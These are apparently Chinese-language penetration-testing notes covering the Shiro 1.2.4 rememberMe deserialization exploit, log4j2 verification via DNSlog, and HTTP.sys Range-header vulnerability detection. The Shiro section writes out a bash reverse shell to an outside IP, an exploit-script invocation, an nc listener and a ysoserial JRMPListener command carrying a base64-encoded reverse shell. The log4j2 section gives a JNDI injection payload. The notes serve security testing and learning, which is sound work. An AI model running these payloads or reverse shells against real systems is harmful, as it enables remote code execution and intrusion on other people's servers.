1.使用脚本生成key

反弹shell的命令：bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

1
py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"

PS：ip假的，不打码，观看流畅

2.先公网VPS监听反弹shell的命令

1
nc -lvp 7878

image

3.加入payload，提交数据包

image

这里使用curl也能达到burp的效果

1
2
// 加 -I 是只看响应头，这里主要关注set-cookie:rememberMe
curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I

讲这个是因为此方法可以用来初步探测shiro信息

image

4.vps收到了反弹回来的shell

image

题外话1

研究这个漏洞，是因为客户要求排查下资产，然后找不到集成的工具和一键式检查的。
漏洞的事情OK了，还是觉得自己太菜，要是代码够给力，写个集成的丢github上就真的香。

题外话2

还有一个思路，看大佬文章时，这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的，后续学会了再补上笔记

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

image

参考链接：

https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html

dnslog-log4j2

dnslog简单验证log4j2漏洞

本文转自星夜

简单步骤

进dnslog：http://www.dnslog.cn/

Get SubDomain 得到一个随机的子域名

拼进${jndi:ldap://xxxxx.dnslog.cn/exp}

往任意可能在log中塞的输入填

这里拿tx玩，如群中发送，可得到tx云的记录

image

image

image

HTTP.sys远程代码执行

【渗透整理】HTTP.sys远程代码执行

本文转自久违 °

漏洞介绍

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

影响环境：Windows+IIS的环境下，任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

漏洞知识

说到HTTP.sys远程代码执行漏洞，不得不先介绍一下Range首部字段。

在“上古时代”，网络并不是很好，下载大型文件很不容易。下载途中如果网络中断，就得重头开始下。为了解决这个问题，HTTP/1.1引入了范围请求。

在请求报文的Range首部字段中指定资源的byte范围，告诉服务器，请求的是资源哪个范围的内容，让断点续传和并行下载得以实现。

如果服务器支持范围请求，响应包中就会存在Accept-Ranges字段(且值不为“none”，bytes为资源范围的单位)，并在Content-Length字段中告诉客户端资源的大小范围。

image

如果没有Accept-Ranges字段，则服务器可能不支持范围请求，有的服务器会明确将值设为“none”。

服务器面对范围请求，有三种响应：

请求成功：

响应206Partial Content请求范围越界：（范围超过资源的大小）

响应416Requested Range Not Satisfiable不支持范围请求：

响应200OK

而HTTP.sys远程代码执行漏洞正是利用Range字段注入恶意数据。该漏洞的检测，也是利用服务器面对范围请求时的响应特征来判断。

漏洞检测方法

1、先判断目标环境是否为Windows+IIS

2、然后构建Range字段进行检测即可

检测时，在请求包中添加Range字段，如下：

Range: bytes=0-18446744073709551615

【18446744073709551615的十六进制为0xFFFFFFFFFFFFFFFF(16个F)是64位无符号整数所能表达的最大整数，整数溢出和这个超大整数有关】

然后go给服务器

1
2
3
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

或者：

1
curl -v www.test.com -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

服务器响应 400，证明不存在HTTP.sys远程代码执行漏洞

HTTP Error 400. The request has an invalid header name.

服务器响应 416，则证明存在该漏洞

1
2
3
4
5
HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Thu, 22 Aug 2013 23:53:12 GMT
Accept-Ranges: bytes
ETag: "2edebc2929fce1:0"

漏洞修复建议：

升级安全补丁